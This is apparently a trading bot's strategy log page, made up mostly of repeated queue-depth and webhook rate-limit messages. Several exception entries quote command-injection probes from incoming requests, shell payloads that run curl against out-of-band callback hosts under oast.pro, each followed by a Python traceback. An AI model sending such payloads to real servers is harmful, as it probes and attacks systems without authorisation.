ETH-MATIC-USDC momentum beta
MATIC and ETH momentum strategy to maximize gains in bull market and avoid losses in bear market, on Polygon
Strategy Logs
Task queue depth is 1
Task queue depth is 1
Webhook rate limited: sleeping for 1.29 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.36 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.28 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.16 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.29 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.22 seconds...
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Webhook rate limited: sleeping for 1.33 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Webhook rate limited: sleeping for 1.33 seconds...
Webhook rate limited: sleeping for 1.13 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Webhook rate limited: sleeping for 1.14 seconds...
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d7c4k3cf21o879gdgtigz35opfigf7njf.oast.pro+-H+'User-Agent:+N5or4d'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d7c4k3cf21o879gdgtigbnhmsja9w4mti.oast.pro+-H+'User-Agent:+N5or4d'};"
Traceback (most recent call last): (22 lines)
File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1816, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 138, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 131, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d7c4k3cf21o879gdgtig3k75zk1u3hbt1.oast.pro+-H+'User-Agent:+N5or4d'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d7c4k3cf21o879gdgtig74jhdogmofeds.oast.pro+-H+'User-Agent:+N5or4d'};"
Traceback (most recent call last): (22 lines)
File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1816, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 138, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 131, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byteTask queue depth is 1
Webhook rate limited: sleeping for 1.21 seconds...
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d7c4k3cf21o879gdgtigz35opfigf7njf.oast.pro+-H+'User-Agent:+N5or4d'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d7c4k3cf21o879gdgtigbnhmsja9w4mti.oast.pro+-H+'User-Agent:+N5or4d'};"
Traceback (most recent call last): (22 lines)
File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1816, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 138, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 131, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byteTask queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.99 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.29 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.96 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.32 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.30 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.36 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.33 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.29 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.28 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.30 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.26 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.33 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.37 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.24 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.36 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.13 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.29 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.18 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.53 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.28 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.32 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.32 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.33 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.36 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.25 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.37 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.33 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.41 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.36 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.23 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.85 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.07 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.23 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.14 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.19 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.02 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.37 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.26 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.35 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.67 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.37 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.32 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.32 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d7c4k3cf21o879gdgtig3k75zk1u3hbt1.oast.pro+-H+'User-Agent:+N5or4d'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d7c4k3cf21o879gdgtig74jhdogmofeds.oast.pro+-H+'User-Agent:+N5or4d'};"
Traceback (most recent call last): (22 lines)
File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1816, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 138, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 131, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1751, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byteTask queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.44 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.42 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.34 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.40 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.43 seconds...
Task queue depth is 1
